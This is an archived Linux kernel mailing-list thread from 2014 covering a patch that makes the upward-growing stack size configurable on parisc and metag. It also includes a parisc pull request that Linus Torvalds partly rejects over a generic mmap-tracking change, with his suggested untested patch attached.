From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Aw: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace
 stack size
Date: Thu, 1 May 2014 20:08:43 +0200
Lines: 127
Approved: news@gmane.org
Message-ID: <trinity-76250833-dcae-4a03-b601-f20768eaede4-1398967722991@3capp-gmx-bs06>
References: <20140430212602.GA20601@p100.fritz.box>,
 <53622DBA.807@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1398967735 28623 80.91.229.3 (1 May 2014 18:08:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 May 2014 18:08:55 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>,
	"John David Anglin" <dave.anglin@bell.net>,
	linux-metag@vger.kernel.org
To: "James Hogan" <james.hogan@imgtec.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 01 20:08:48 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WfvPb-0005VW-Sb
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 May 2014 20:08:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750811AbaEASIq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 May 2014 14:08:46 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:56180 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750738AbaEASIq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 May 2014 14:08:46 -0400
Original-Received: from [84.173.57.5] by 3capp-gmx-bs06 with HTTP; Thu, 1 May 2014
 20:08:43 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <53622DBA.807@imgtec.com>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:oHgZapIkxxG27ExJa2ZrTOJWmchoRN7d6hEgsei3Vcw
 TKY47xE5p8yIzCRth7WZWCknFB+FKIBjgxfAOscYEwj7sujX6K
 tt8HdjIMXvDBP3y1QP1QTBzjAfVe5FeNbiKbziQLjpsz3PIeLV
 2dCmYUcloSYun+ppGGG991GKVtquCzTgyCflFKCTgiu66U92og
 5lpWrlZP5Kr6ZtoUBRtSY0lDUuX2qnJ4AuVtZx4DTgVJ1XEO6D
 2yshpZYaYF0KZpSZj8j5YsAWh+g0hC8Tn8sOWEA5aICMBukQAA YNdAo8=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5770 gmane.linux.kernel:1695064 gmane.linux.kernel.metag:179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5770>

Hi James,

> I'd like to take this patch and submit upstream for v3.15, and mark for stable.
> Would that be okay with you?
> [...]
> How does the v2 below look?

Your patch looks good.
Thanks for cleaning it up and moving the config option to the better place.
I just tested it on parisc and it works as expected.

I'm absolutely fine if you push your version of the patch through the metag git tree upstream.

Thanks!
Helge  

 
> From c34f0ec062ae1a2c9fca3eddbc705f6b0faf97ca Mon Sep 17 00:00:00 2001
> From: Helge Deller <deller@gmx.de>
> Date: Wed, 30 Apr 2014 23:26:02 +0200
> Subject: [PATCH v2] parisc,metag: Do not hardcode maximum userspace stack
>  size
> 
> This patch affects only architectures where the stack grows upwards
> (currently parisc and metag only). On those do not hardcode the maximum
> initial stack size to 1GB, but make it configurable via a config option.
> 
> The main problem with the hardcoded stack size is, that we have two
> memory regions which grow upwards: stack and heap. To keep most of the
> memory available for heap in a flexmap memoy layout, it makes no sense
> to hard allocate up to 1GB of the memory for stack which can't be used
> as heap then.
> 
> This patch makes the stack size configurable and uses 80MB as default
> value which has been in use during the last few years on parisc and
> which didn't showed any problems yet.
> 
> This also fixes a BUG on metag if the RLIMIT_STACK hard limit is
> increased beyond a safe value by root. E.g. when starting a process
> after running "ulimit -H -s unlimited" it will then attempt to use a
> stack size of the maximum 1GB which is far too big for metag's limited
> user virtual address space (stack_top is usually 0x3ffff000):
> BUG: failure at fs/exec.c:589/shift_arg_pages()!
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> Signed-off-by: James Hogan <james.hogan@imgtec.com>
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-metag@vger.kernel.org
> Cc: John David Anglin <dave.anglin@bell.net>
> Cc: stable@vger.kernel.org
> ---
> v2 (James Hogan):
>  - updated description to mention BUG on metag.
>  - added custom range limit for METAG.
>  - moved Kconfig symbol to mm/Kconfig and reworded.
>  - fixed "matag" typo.
> ---
>  arch/parisc/kernel/sys_parisc.c |  6 +++---
>  fs/exec.c                       |  6 +++---
>  mm/Kconfig                      | 15 +++++++++++++++
>  3 files changed, 21 insertions(+), 6 deletions(-)
> 
> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
> index 31ffa9b55322..9f040261151e 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
>  {
>  	unsigned long stack_base;
> 
> -	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
> +	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
>  	stack_base = rlimit_max(RLIMIT_STACK);
> -	if (stack_base > (1 << 30))
> -		stack_base = 1 << 30;
> +	if (stack_base > CONFIG_MAX_STACK_SIZE_MB*1024*1024)
> +		stack_base = CONFIG_MAX_STACK_SIZE_MB*1024*1024;
> 
>  	return PAGE_ALIGN(STACK_TOP - stack_base);
>  }
> diff --git a/fs/exec.c b/fs/exec.c
> index 476f3ebf437e..994108cc60f3 100644
> --- a/fs/exec.c
> +++ b/fs/exec.c
> @@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
>  	unsigned long rlim_stack;
> 
>  #ifdef CONFIG_STACK_GROWSUP
> -	/* Limit stack size to 1GB */
> +	/* Limit stack size */
>  	stack_base = rlimit_max(RLIMIT_STACK);
> -	if (stack_base > (1 << 30))
> -		stack_base = 1 << 30;
> +	if (stack_base > CONFIG_MAX_STACK_SIZE_MB*1024*1024)
> +		stack_base = CONFIG_MAX_STACK_SIZE_MB*1024*1024;
> 
>  	/* Make sure we didn't let the argument array grow too large. */
>  	if (vma->vm_end - vma->vm_start > stack_base)
> diff --git a/mm/Kconfig b/mm/Kconfig
> index ebe5880c29d6..e80075979530 100644
> --- a/mm/Kconfig
> +++ b/mm/Kconfig
> @@ -581,3 +581,18 @@ config PGTABLE_MAPPING
> 
>  config GENERIC_EARLY_IOREMAP
>  	bool
> +
> +config MAX_STACK_SIZE_MB
> +	int "Maximum user stack size (MB)"
> +	default 80
> +	range 8 256 if METAG
> +	range 8 2048
> +	depends on STACK_GROWSUP
> +	help
> +	  This is the maximum stack size in Megabytes in the VM layout of user
> +	  processes when the stack grows upwards (currently only on parisc and
> +	  metag arch). The stack will be located at the highest memory address
> +	  minus the given value, unless the RLIMIT_STACK hard limit is changed
> +	  to a smaller value in which case that is used.
> +
> +	  A sane initial value is 80 MB.
> -- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.15
Date: Thu, 1 May 2014 20:38:22 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20140501183822.GA24823@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1398969519 24092 80.91.229.3 (1 May 2014 18:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 May 2014 18:38:39 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 01 20:38:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WfvsM-0008U5-QN
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 May 2014 20:38:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750832AbaEASi3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 May 2014 14:38:29 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:51673 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750795AbaEASi3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 May 2014 14:38:29 -0400
Original-Received: from p100.fritz.box ([84.173.57.5]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MBFgr-1WYXTh1pp7-00ACu6; Thu, 01 May 2014 20:38:24
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:WmzhSEDc2yu7DJS5K4ONhWI0AblS/5Cy4tVNnY38Yn1ZcUUOvXU
 DVROaw2W3c6F3poYLIne0W07kykTn30ZgqX9Vh1TqY71hBL4DHbKLWsw4iMZPn6PiTeqFUJ
 T2OdPxLtNekveDu2wPFyP4qJpDTkEDF+JJWq5A2+73UJQA45fskTpDkTrHqshuUuf7E2PnR
 ne4rJclXuPk3/8UNV1yzg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5771 gmane.linux.kernel:1695071
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5771>

Hi Linus,

please pull the latest parisc architecture fixes for kernel 3.15 from: 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.15-2

There are two fixes in this patchset:
- Drop the architecture-specifc value for_STK_LIM_MAX to fix stack related
  problems with GNU make.
- Make mmap() behave similiar to other architectures: If a file hasn't been
  mapped yet, we can now map it at any given page-aligned address.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (2):
      parisc: Use generic uapi/asm/resource.h file
      mm,parisc: keep track of last mmap'ed address

John David Anglin (1):
      parisc: remove _STK_LIM_MAX override

 arch/parisc/Kconfig                     | 3 +++
 arch/parisc/include/uapi/asm/Kbuild     | 3 ++-
 arch/parisc/include/uapi/asm/resource.h | 7 -------
 arch/parisc/kernel/sys_parisc.c         | 8 ++++----
 include/linux/fs.h                      | 3 +++
 mm/mmap.c                               | 7 ++++++-
 6 files changed, 18 insertions(+), 13 deletions(-)
 delete mode 100644 arch/parisc/include/uapi/asm/resource.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for v3.15
Date: Thu, 1 May 2014 12:23:09 -0700
Lines: 101
Approved: news@gmane.org
Message-ID: <CA+55aFw+0_Wf+_2EAdi=OhVK3cZdMwsCV5cditaLz7LJroeByA@mail.gmail.com>
References: <20140501183822.GA24823@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=001a11c3dd186ce6b904f85b988e
X-Trace: ger.gmane.org 1398972202 6626 80.91.229.3 (1 May 2014 19:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 May 2014 19:23:22 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 01 21:23:16 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WfwZc-0003NR-RN
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 May 2014 21:23:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751269AbaEATXL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 May 2014 15:23:11 -0400
Original-Received: from mail-vc0-f176.google.com ([209.85.220.176]:54161 "EHLO
	mail-vc0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751259AbaEATXK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 May 2014 15:23:10 -0400
Original-Received: by mail-vc0-f176.google.com with SMTP id lg15so1591727vcb.21
        for <multiple recipients>; Thu, 01 May 2014 12:23:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=fQN+Y+yIJfsqxLERPn1jtcJ7EzrpXDToQpys0MNq7Bc=;
        b=P56AUELbzoiJSc8A3WbMSYHURjMkgmKJh/Ve7vgFsa8xBWlfLhu32LOjPeVklrZcLO
         UtPNOKLCKqkOjN2WWf9b4aSsaA1i4I8IWfI4HCtLai07R+OjMZJ0+P9Xv6S3ea0PVC4/
         iDSlbodlAn/J9hoXH5jueQCaT6hls772NogQMRMJbqWx/zuge2FGk6fNsEGAHIStmnlC
         X3RbXVV7MsOrhEpgX+y6OOCfWg3TtME5H36P+98ITUN/wC0F9H317Bebto/vaGdD3gqZ
         LgnHRHVd20x++XRwuVjGe58E5H+aKgH97otdkg9vTcO0Gfg/so+DsRVTGr/O8Mc1L6YH
         YM5Q==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=fQN+Y+yIJfsqxLERPn1jtcJ7EzrpXDToQpys0MNq7Bc=;
        b=bebOFTjXSm46DwMkyzzOcKUjDgujnUc9C+H3nCY8cw6f6jBfkZ8SaCh7ujh3ZQcHfO
         SMw57wUVh9ferWcziOG94dO2fq9Gac+Lm320qeJKoacC/C8VN/UOhFNWJaifD0IQv1rA
         9Nj8qSnwsypTeDIvhJ2ahWLxxFvgXJYTSJeJw=
X-Received: by 10.220.2.142 with SMTP id 14mr895893vcj.48.1398972189821; Thu,
 01 May 2014 12:23:09 -0700 (PDT)
Original-Received: by 10.220.13.2 with HTTP; Thu, 1 May 2014 12:23:09 -0700 (PDT)
In-Reply-To: <20140501183822.GA24823@p100.fritz.box>
X-Google-Sender-Auth: ZPmp1NSKGpdVNrx73S2xPMuAEC0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5772 gmane.linux.kernel:1695118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5772>

--001a11c3dd186ce6b904f85b988e
Content-Type: text/plain; charset=UTF-8

On Thu, May 1, 2014 at 11:38 AM, Helge Deller <deller@gmx.de> wrote:
>
> - Make mmap() behave similiar to other architectures: If a file hasn't been
>   mapped yet, we can now map it at any given page-aligned address.

Ugh, so I pulled this, but I'm going to unpull it, because I dislike
your new "i_mmap_lastmap" field.

Now, the i_mmap_lastmap field itself, I could probably live with, but
this change to generic code:

  +       if (vma->vm_flags & VM_SHARED) {
                  mapping->i_mmap_writable--;
  +#ifdef CONFIG_MMAP_TRACKING
  +               if (mapping->i_mmap_writable == 0)
  +                       mapping->i_mmap_lastmmap = 0;
  +#endif
  +       }

makes me just gouge my eyes out. It's not only uglifying generic code,
it's _stupid_ even when it's used.

What's magic about "i_mmap_lastmmap" having the value zero? Nothing.
Maybe somebody wants to map stuff at that zero value, and has the
permissions to do so.

So zeroing it is wrong. It's also entirely unnecessary, since you can
just look at the "mapping->i_mmap_writable" value instead. So instead
of checking "is i_mmap_lastmmap zero" as a way to check whether you
can now use any virtual address, which is wrong _anyway_, you should
have checked "is i_mmap_writable zero".

Now, I *also* suspect that you could just get rid of i_mmap_lastmmap
_entirely_, and instead just make "GET_LAST_MMAP()" just look up the
first shared mapping it can find in the rb tree (if i_mmap_writable is
non-null).

But if it was just that one (unnecessary) field in the "struct
address_space", I probably wouldn't mind, and say "ok, parisc has
broken virtual caches, what else is new". But the fact that it adds
code to the generic file just adds insult to injury and makes me go
"no, I don't want to pull this".

Mind fixing this? Here's a TOTALLY UNTESTED patch that may or may not
work, but might at least act as a starting point.

Hmm?

              Linus

--001a11c3dd186ce6b904f85b988e
Content-Type: text/plain; charset=US-ASCII; name="patch.diff"
Content-Disposition: attachment; filename="patch.diff"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_huofwtxf0

IGFyY2gvcGFyaXNjL2tlcm5lbC9zeXNfcGFyaXNjLmMgfCAzOCArKysrKysrKysrKysrKysrKysr
KysrKysrKy0tLS0tLS0tLS0tLQogMSBmaWxlIGNoYW5nZWQsIDI2IGluc2VydGlvbnMoKyksIDEy
IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNfcGFyaXNj
LmMgYi9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzX3BhcmlzYy5jCmluZGV4IDMxZmZhOWI1NTMyMi4u
ZGQ2NDM0NTljYmVmIDEwMDY0NAotLS0gYS9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzX3BhcmlzYy5j
CisrKyBiL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNfcGFyaXNjLmMKQEAgLTM2LDEyICszNiwzMiBA
QAogI2luY2x1ZGUgPGxpbnV4L3BlcnNvbmFsaXR5Lmg+CiAjaW5jbHVkZSA8bGludXgvcmFuZG9t
Lmg+CiAKLS8qIHdlIGNvbnN0cnVjdCBhbiBhcnRpZmljaWFsIG9mZnNldCBmb3IgdGhlIG1hcHBp
bmcgYmFzZWQgb24gdGhlIHBoeXNpY2FsCi0gKiBhZGRyZXNzIG9mIHRoZSBrZXJuZWwgbWFwcGlu
ZyB2YXJpYWJsZSAqLwotI2RlZmluZSBHRVRfTEFTVF9NTUFQKGZpbHApCQlcCi0JKGZpbHAgPyAo
KHVuc2lnbmVkIGxvbmcpIGZpbHAtPmZfbWFwcGluZykgPj4gOCA6IDBVTCkKLSNkZWZpbmUgU0VU
X0xBU1RfTU1BUChmaWxwLCB2YWwpCVwKLQkgeyAvKiBub3RoaW5nICovIH0KK3N0YXRpYyBpbmxp
bmUgdW5zaWduZWQgbG9uZyBmaW5kX3NoYXJlZF9tYXBwaW5nX2FkZHJlc3Moc3RydWN0IGFkZHJl
c3Nfc3BhY2UgKm1hcHBpbmcpCit7CisJc3RydWN0IHJiX25vZGUgKm5kOworCisJZm9yIChuZCA9
IHJiX2ZpcnN0KHJvb3QpOyBuZDsgbmQgPSByYl9uZXh0KG5kKSkgeworCQlzdHJ1Y3Qgdm1fYXJl
YV9zdHJ1Y3QgKnZtYTsKKwkJdm1hID0gcmJfZW50cnkobmQsIHN0cnVjdCB2bV9hcmVhX3N0cnVj
dCwgdm1fcmIpOworCQlpZiAodm1hLT52bV9mbGFncyAmIFZNX1NIQVJFRCkKKwkJCXJldHVybiB2
bWEtPnN0YXJ0OworCX0KKwkvKiBTaG91bGRuJ3QgaGFwcGVuICovCisJcmV0dXJuIDA7Cit9CisK
Ky8qIHRoZSBhZGRyZXNzX3NwYWNlIHN0cnVjdCBob2xkcyBhIGZpZWxkIGlfbW1hcF9sYXN0bW1h
cCB3aXRoIHRoZSBsYXN0IG1hcHBpbmcKKyAqIG9mIHRoaXMgZmlsZSBmb3IgdXMgKi8KK3N0YXRp
YyBpbmxpbmUgdW5zaWduZWQgbG9uZyBHRVRfTEFTVF9NTUFQKHN0cnVjdCBmaWxlICpmaWxwKQor
eworCWlmIChmaWxwKSB7CisJCXN0cnVjdCBhZGRyZXNzX3NwYWNlICptYXBwaW5nID0gZmlscC0+
Zl9tYXBwaW5nOworCQlpZiAobWFwcGluZy0+aV9tbWFwX3dyaXRhYmxlKQorCQkJcmV0dXJuIGZp
bmRfc2hhcmVkX21hcHBpbmdfYWRkcmVzcyhtYXBwaW5nKTsKKwl9CisJcmV0dXJuIDA7Cit9CisK
IAogc3RhdGljIGludCBnZXRfb2Zmc2V0KHVuc2lnbmVkIGludCBsYXN0X21tYXApCiB7CkBAIC0x
MjcsOSArMTQ3LDYgQEAgdW5zaWduZWQgbG9uZyBhcmNoX2dldF91bm1hcHBlZF9hcmVhKHN0cnVj
dCBmaWxlICpmaWxwLCB1bnNpZ25lZCBsb25nIGFkZHIsCiAJYWRkciA9IHZtX3VubWFwcGVkX2Fy
ZWEoJmluZm8pOwogCiBmb3VuZF9hZGRyOgotCWlmIChkb19jb2xvcl9hbGlnbiAmJiAhbGFzdF9t
bWFwICYmICEoYWRkciAmIH5QQUdFX01BU0spKQotCQlTRVRfTEFTVF9NTUFQKGZpbHAsIGFkZHIg
LSAocGdvZmYgPDwgUEFHRV9TSElGVCkpOwotCiAJcmV0dXJuIGFkZHI7CiB9CiAKQEAgLTE5OCw5
ICsyMTUsNiBAQCBhcmNoX2dldF91bm1hcHBlZF9hcmVhX3RvcGRvd24oc3RydWN0IGZpbGUgKmZp
bHAsIGNvbnN0IHVuc2lnbmVkIGxvbmcgYWRkcjAsCiAJcmV0dXJuIGFyY2hfZ2V0X3VubWFwcGVk
X2FyZWEoZmlscCwgYWRkcjAsIGxlbiwgcGdvZmYsIGZsYWdzKTsKIAogZm91bmRfYWRkcjoKLQlp
ZiAoZG9fY29sb3JfYWxpZ24gJiYgIWxhc3RfbW1hcCAmJiAhKGFkZHIgJiB+UEFHRV9NQVNLKSkK
LQkJU0VUX0xBU1RfTU1BUChmaWxwLCBhZGRyIC0gKHBnb2ZmIDw8IFBBR0VfU0hJRlQpKTsKLQog
CXJldHVybiBhZGRyOwogfQogCg==
--001a11c3dd186ce6b904f85b988e--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for v3.15
Date: Thu, 01 May 2014 23:55:14 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <5362C2C2.9040602@gmx.de>
References: <20140501183822.GA24823@p100.fritz.box> <CA+55aFw+0_Wf+_2EAdi=OhVK3cZdMwsCV5cditaLz7LJroeByA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1398981328 18546 80.91.229.3 (1 May 2014 21:55:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 May 2014 21:55:28 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 01 23:55:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wfywr-0008W4-8J
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 May 2014 23:55:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751692AbaEAVzU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 May 2014 17:55:20 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:64093 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751481AbaEAVzU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 May 2014 17:55:20 -0400
Original-Received: from [192.168.178.60] ([84.173.57.5]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MH0SI-1Wb58q49sQ-00DlEV; Thu, 01 May 2014 23:55:15
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <CA+55aFw+0_Wf+_2EAdi=OhVK3cZdMwsCV5cditaLz7LJroeByA@mail.gmail.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:YiQx/BD8Gk5JJu5ccOSnijmnmgXfj/zVYiklk+2BqqRHbfH69jd
 A25k0XtHSlNpOtgHG6tOhC+ZGZ/BkjbNp6h35wQLbaguWobMvdPhJgGYqmwoQni9GnNk3Ei
 MMdIdXwkL1qlLyaFCxefHVfUPzJvbK1g//PuJaUI+MadKJNDoTRww7oddL3iAwEAyC3TZog
 HmIK5T/qzw0KRQVRsal3A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5773 gmane.linux.kernel:1695192
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5773>

Hi Linus,

On 05/01/2014 09:23 PM, Linus Torvalds wrote:
> On Thu, May 1, 2014 at 11:38 AM, Helge Deller <deller@gmx.de> wrote:
>>
>> - Make mmap() behave similiar to other architectures: If a file hasn't been
>>   mapped yet, we can now map it at any given page-aligned address.
> 
> Ugh, so I pulled this, but I'm going to unpull it, because I dislike
> your new "i_mmap_lastmap" field.
> 
> Now, the i_mmap_lastmap field itself, I could probably live with, but
> this change to generic code:
> 
>   +       if (vma->vm_flags & VM_SHARED) {
>                   mapping->i_mmap_writable--;
>   +#ifdef CONFIG_MMAP_TRACKING
>   +               if (mapping->i_mmap_writable == 0)
>   +                       mapping->i_mmap_lastmmap = 0;
>   +#endif
>   +       }
> 
> makes me just gouge my eyes out. It's not only uglifying generic code,
> it's _stupid_ even when it's used.
> 
> What's magic about "i_mmap_lastmmap" having the value zero? Nothing.
> Maybe somebody wants to map stuff at that zero value, and has the
> permissions to do so.
> 
> So zeroing it is wrong. It's also entirely unnecessary, since you can
> just look at the "mapping->i_mmap_writable" value instead. So instead
> of checking "is i_mmap_lastmmap zero" as a way to check whether you
> can now use any virtual address, which is wrong _anyway_, you should
> have checked "is i_mmap_writable zero".
> 
> Now, I *also* suspect that you could just get rid of i_mmap_lastmmap
> _entirely_, and instead just make "GET_LAST_MMAP()" just look up the
> first shared mapping it can find in the rb tree (if i_mmap_writable is
> non-null).
> 
> But if it was just that one (unnecessary) field in the "struct
> address_space", I probably wouldn't mind, and say "ok, parisc has
> broken virtual caches, what else is new". But the fact that it adds
> code to the generic file just adds insult to injury and makes me go
> "no, I don't want to pull this".
> 
> Mind fixing this? Here's a TOTALLY UNTESTED patch that may or may not
> work, but might at least act as a starting point.

I agree that this idea looks much better.
I will try to rewrite this code as you suggested (it sadly didn't worked out of the box).
But since it will take me some time, do you mind to pull in the other two remaining patches?
They fix a bug with GNU make on our debian build servers and I would like one of them to be backported into stable for 3.14...

Here is the *new* pull request (I dropped the patch above!):

Hi Linus,
please pull the latest parisc architecture fixes for kernel 3.15 from: 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.15-3

Those two patches drop the architecture-specifc value for_STK_LIM_MAX to 
fix stack related problems with GNU make.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Use generic uapi/asm/resource.h file

John David Anglin (1):
      parisc: remove _STK_LIM_MAX override

 arch/parisc/include/uapi/asm/Kbuild     | 3 ++-
